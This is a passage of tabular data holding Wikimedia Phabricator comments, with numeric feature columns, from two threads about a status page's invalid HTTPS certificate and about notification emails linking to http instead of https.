yes",,,1445386878,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,112,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.8,"QUOTE
QUOTE

yes"
548841,status.wikimedia.org has no (valid) HTTPS,"Do we really care of having `status.wikimedia.org` to be served over TLS? I am not sure it is worth it (and the price of a host cert), so I would rather disable HTTPS and just use http.",,,1445332537,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,111,True,0.0,0.0,0.0,2.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,14.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,12.0,10.0,2.0,2.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.119047619047619,0.9047619047619048,"Do we really care of having CODE to be served over TLS? I am not sure it is worth it (and the price of a host cert), so I would rather disable HTTPS and just use http."
548692,status.wikimedia.org has no (valid) HTTPS,"Over 2 years later, and we still have pages like status.watchmouse.com giving

```
This server could not prove that it is status.watchmouse.com; its security certificate is from status.io.watchmouse.com. 
```",,,1445297256,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,111,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.8421052631578947,"Over 2 years later, and we still have pages like status.watchmouse.com giving

``CODE``"
548684,status.wikimedia.org has no (valid) HTTPS,"Agreed, let's consider buying that. Adding ""traffic"" for opinions.",,,1445296846,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,111,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.8666666666666667,0.8666666666666667,"Agreed, let's consider buying that. Adding ""traffic"" for opinions."
548681,status.wikimedia.org has no (valid) HTTPS,"Re-opening this for further consideration. A fair bit has changed since 2013, including a strong push for HTTPS/TLS/SSL support across both Wikimedia and the rest of the Internet.

https://status.wikimedia.org/ failing isn't really okay. We should figure out some way to make this work or we should kill the service entirely, in my opinion.",,,1445296723,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,111,True,1.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,4.0,13.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,13.0,1.0,3.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,13.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,3.925373134328358,0.8507462686567164,"Re-opening this for further consideration. A fair bit has changed since 2013, including a strong push for HTTPS/TLS/SSL support across both Wikimedia and the rest of the Internet.

URL failing isn't really okay. We should figure out some way to make this work or we should kill the service entirely, in my opinion."
155731,status.wikimedia.org has no (valid) HTTPS,"So this certificate is served by Nimsoft, and we have no control over it.  I'll paste the reasoning from RT:

 it is just a CNAME for status.watchmouse.com

status.wikimedia.org is an alias for status.watchmouse.com.
status.watchmouse.com is an alias for dualstack.lb-1710199131.us-east-1.elb.amazonaws.com.

In the watchmouse UI, in ""Public folders"" setup you can change the CNAME but nothing about SSL or certificates.

And the failure is on their side already anyways, because status.watchmouse.com itself does not show the correct cert

status.watchmouse.com uses an invalid security certificate.

The certificate is only valid for *.io.watchmouse.com

Then folks ask if we can redirect, the answer is no.  It is a status page for when the cluster is down, therefore redirecting via the cluster is non-ideal.

So this is a wontfix, because we cantfix.",,,1363801758,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.5,0.5,4.5,4.5,1.5,0.0,0.5,1.5,0.5,0.0,0.5,0.0,2.5,0.5,6.0,9.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,10.0,1.0,2.5,0.0,0.5,0.0,0.0,1.0,0.5,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,15.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.5,6.5,8.0,2.5,2.0,10.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,5.5,9.0,4.5,0.0,1.0,0.0,5.5,0.0,0.5,3.5,0.5,0.5,0.0,0.0,0.0,4.677215189873418,0.7088607594936709,"So this certificate is served by Nimsoft, and we have no control over it.  I'll paste the reasoning from RT:

 it is just a CNAME for status.watchmouse.com

status.wikimedia.org is an alias for status.watchmouse.com.
status.watchmouse.com is an alias for dualstack.lb-1710199131.us-east-1.elb.amazonaws.com.

In the watchmouse UI, in ""Public folders"" setup you can change the CNAME but nothing about SSL or certificates.

And the failure is on their side already anyways, because status.watchmouse.com itself does not show the correct cert

status.watchmouse.com uses an invalid security certificate.

The certificate is only valid for *.io.watchmouse.com

Then folks ask if we can redirect, the answer is no.  It is a status page for when the cluster is down, therefore redirecting via the cluster is non-ideal.

So this is a wontfix, because we cantfix."
155725,status.wikimedia.org has no (valid) HTTPS,The ops ticket is RT #1849,,,1363469303,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,The ops ticket is RT #1849
155721,status.wikimedia.org has no (valid) HTTPS,*** Bug 44760 has been marked as a duplicate of this bug. ***,,,1363469248,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 44760 has been marked as a duplicate of this bug. ***
155714,status.wikimedia.org has no (valid) HTTPS,Removing dependency to bug 27946 which is secure.wikimedia.org.,,,1342536971,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,6.222222222222222,1.0,Removing dependency to bug 27946 which is secure.wikimedia.org.
155708,status.wikimedia.org has no (valid) HTTPS,"If we can't get it on a correct cert, we might want to redirect to its canonical domain instead so it at least loads properly. Main obvious downside is if our redirector or iframe wrapper goes down, you don't see it on our pretty domain anymore. ;)",,,1323051520,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,True,,,-91,True,0.0,0.0,0.0,0.0,4.0,11.0,2.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,8.0,0.0,11.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,4.0,4.0,4.0,2.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,13.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.811320754716981,0.8113207547169812,"If we can't get it on a correct cert, we might want to redirect to its canonical domain instead so it at least loads properly. Main obvious downside is if our redirector or iframe wrapper goes down, you don't see it on our pretty domain anymore. ;)"
155703,status.wikimedia.org has no (valid) HTTPS,"I doubt this is feasible - it is hosted on Amazon AWS, so they'd have to fire up a separate watchmouse AWS LB instance just to serve Wikimedia status? ;-)",,,1323041674,,PHID-USER-wxw3ddutjncyt3k7dtbr,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,False,,,-91,True,0.0,0.0,0.0,3.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,18.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,15.0,9.0,3.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.787878787878788,0.9090909090909091,"I doubt this is feasible - it is hosted on Amazon AWS, so they'd have to fire up a separate watchmouse AWS LB instance just to serve Wikimedia status? ;-)"
155695,status.wikimedia.org has no (valid) HTTPS,"Because it's offsite.

It'll need it's own specific cert buying and assigning",,,1323041480,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.9411764705882355,0.8823529411764706,"Because it's offsite.

It'll need it's own specific cert buying and assigning"
34769,"Notification emails should link to https, not http","Just got a new message notification:

Dear Multichill,


The Wikipedia page ""User talk:Multichill"" has been changed on
2 December 2011 by Magicpiano, with the edit summary: /* Bot is breaking
on National Register of Historic Places in Lowell, Massachusetts */ link
fix 

See
http://en.wikipedia.org/w/index.php?title=User_talk:Multichill&diff=0&oldid=463665500
for all changes since your last visit. See
http://en.wikipedia.org/wiki/User_talk:Multichill for the current
revision.

To contact the editor, visit
http://en.wikipedia.org/wiki/User:Magicpiano

Note that additional changes to the page ""User talk:Multichill"" will not
result in any further notifications, until you have logged in and
visited the page.

             Your friendly Wikipedia notification system

--

This email notification feature was enabled on English Wikipedia in May
2011 - see http://en.wikipedia.org/wiki/Help:Email_notification. If you
would like to switch off your notifications, visit
http://en.wikipedia.org/wiki/Special:Preferences

Feedback and further assistance:
http://en.wikipedia.org/wiki/Help:Contents

(end)

All links should be https now we properly implemented ssl.
If this is a bridge too far for now a user setting to prefer http or https would probably be a good intermediate solution.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1322836380,1404092595.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,,False,PHID-TASK-7vfqohbuaxe5jz7heehg,task_description,resolved,True,c2,1,False,False,False,-91,True,1.0,0.0,0.0,0.6666666666666666,0.3333333333333333,4.666666666666667,1.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,8.0,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,3.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,12.333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,2.3333333333333335,14.0,1.3333333333333333,1.3333333333333333,5.666666666666667,0.0,0.0,0.0,0.0,4.666666666666667,0.0,1.0,0.0,2.3333333333333335,8.0,6.666666666666667,0.0,1.3333333333333333,0.0,2.3333333333333335,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,4.004158122579176,0.7259626338573707,"Just got a new message notification:

Dear Multichill,


The Wikipedia page ""User talk:Multichill"" has been changed on
2 December 2011 by Magicpiano, with the edit summary: /* Bot is breaking
on National Register of Historic Places in Lowell, Massachusetts */ link
fix 

See
URL
for all changes since your last visit. See
URL for the current
revision.

To contact the editor, visit
URL

Note that additional changes to the page ""User talk:Multichill"" will not
result in any further notifications, until you have logged in and
visited the page.

             Your friendly Wikipedia notification system

--

This email notification feature was enabled on English Wikipedia in May
2011 - see URL If you
would like to switch off your notifications, visit
URL

Feedback and further assistance:
URL

(end)

All links should be https now we properly implemented ssl.
If this is a bridge too far for now a user setting to prefer http or https would probably be a good intermediate solution.

--------------------------
**Version**: unspecified
**Severity**: normal"
163194,"Notification emails should link to https, not http",Notification e-mails now use HTTPS,,,1404092595,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,57.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Notification e-mails now use HTTPS
163189,"Notification emails should link to https, not http","WORKSFORME would be a valid resolution if this were attached to a general component. Since it's already possible to configure $wgCanonicalServer to put https links into the emails.

LATER would be the valid resolution here. Since this bug isn't going to change anything since this will automatically be handled when the https rollout is finished to a degree that we can default to https for a number of things. And this bug sitting here isn't going to change that schedule.
And naturally this isn't a bug tracking when https will be fully deployed.

And just since you said it. The fact that people ""should never use http"" isn't really relevant. Even though they shouldn't the fact is that most people shouldn't use http doesn't change the fact that they do. The only people that pay attention to these kind of things are us techy people. And well, we're a minority.
So the point that the load on the https servers would be vastly different between now and when we default https on for logged-in users is a fact.",,,1343038044,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,False,,,-58,True,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,2.6666666666666665,4.666666666666667,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,9.0,10.333333333333334,0.3333333333333333,1.3333333333333333,1.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,5.666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,1.6666666666666667,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,12.666666666666666,1.0,1.6666666666666667,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,6.666666666666667,5.0,4.333333333333333,4.666666666666667,2.0,9.333333333333334,0.0,0.0,0.0,0.0,4.666666666666667,0.3333333333333333,0.0,0.0,3.6666666666666665,10.333333333333334,0.3333333333333333,0.0,0.6666666666666666,0.0,3.6666666666666665,0.0,2.0,2.6666666666666665,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,4.012767425810904,0.7227743271221532,"WORKSFORME would be a valid resolution if this were attached to a general component. Since it's already possible to configure $wgCanonicalServer to put https links into the emails.

LATER would be the valid resolution here. Since this bug isn't going to change anything since this will automatically be handled when the https rollout is finished to a degree that we can default to https for a number of things. And this bug sitting here isn't going to change that schedule.
And naturally this isn't a bug tracking when https will be fully deployed.

And just since you said it. The fact that people ""should never use http"" isn't really relevant. Even though they shouldn't the fact is that most people shouldn't use http doesn't change the fact that they do. The only people that pay attention to these kind of things are us techy people. And well, we're a minority.
So the point that the load on the https servers would be vastly different between now and when we default https on for logged-in users is a fact."
163185,"Notification emails should link to https, not http","You can't just close this as worksforme because it doesn't work. 
Where do you base your assumption on that the SSL cluster can't handle the load? How many logged in users are now use http and how many users https? In this day in age logged in users should never use http.

Added this one to the tracker",,,1343032593,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,False,,,-58,True,3.0,0.0,0.0,0.0,4.0,3.0,0.0,1.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,6.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,9.0,7.0,1.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,6.0,13.0,1.0,3.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6865671641791047,0.746268656716418,"You can't just close this as worksforme because it doesn't work. 
Where do you base your assumption on that the SSL cluster can't handle the load? How many logged in users are now use http and how many users https? In this day in age logged in users should never use http.

Added this one to the tracker"
163180,"Notification emails should link to https, not http","Marking works for me, it is a duplicate of several other bugs:

* (bug 29898) User preference for enforcing HTTPS (see also bug 29898 comment 11)
* (bug 29878) Fix inconsistency in resolution of protocol-independent wgServer for email messages.

Note that to enable https by default, all we need to do is set wgCanonicalServer to https. That's just a configuration change, no software change. The reason this is not going to be done soon is because the SSL cluster is not big or stable enough to take a default load for everyone. There is a bug open about that already. See also the tracking bug about secure access (bug 27946).",,,1342801588,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,True,,,-58,True,1.0,0.5,0.0,1.0,1.5,4.5,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,5.5,10.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,2.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,16.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,5.0,4.5,6.0,1.0,0.5,8.5,0.0,0.0,0.0,0.0,6.0,0.0,2.5,0.0,1.5,10.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,2.5,0.5,1.5,0.0,0.0,0.0,3.8955223880597014,0.7611940298507462,"Marking works for me, it is a duplicate of several other bugs:

* (bug 29898) User preference for enforcing HTTPS (see also bug 29898 comment 11)
* (bug 29878) Fix inconsistency in resolution of protocol-independent wgServer for email messages.

Note that to enable https by default, all we need to do is set wgCanonicalServer to https. That's just a configuration change, no software change. The reason this is not going to be done soon is because the SSL cluster is not big or stable enough to take a default load for everyone. There is a bug open about that already. See also the tracking bug about secure access (bug 27946)."
163174,"Notification emails should link to https, not http","I say fix this one. It's a pretty easy fix ;-)

You should leave #29878 open as a MediaWiki enhancement.",,,1326146714,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,False,,,-86,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,0.0,0.0,12.0,0.0,4.0,0.0,4.0,8.0,0.0,4.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.44,0.88,"I say fix this one. It's a pretty easy fix ;-)

You should leave #29878 open as a MediaWiki enhancement."
163167,"Notification emails should link to https, not http","(In reply to comment #2)
> This is not a duplicate. #29878 is about user preferences. This bug is about
> setting everything to https by default (instead of the current http).

The two bugs cannot both be solved, though.  I do prefer this solution.  We'll have to choose one.",,,1323443836,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,False,,,-90,True,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,13.0,0.0,8.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.948717948717949,0.8461538461538461,"(In reply to comment #2)
QUOTE
QUOTE

The two bugs cannot both be solved, though.  I do prefer this solution.  We'll have to choose one."
163162,"Notification emails should link to https, not http",This is not a duplicate. #29878 is about user preferences. This bug is about setting everything to https by default (instead of the current http).,,,1323441932,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,False,,,-90,True,0.0,3.0,0.0,0.0,3.0,3.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,6.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.935483870967742,0.8064516129032258,This is not a duplicate. #29878 is about user preferences. This bug is about setting everything to https by default (instead of the current http).
163158,"Notification emails should link to https, not http","

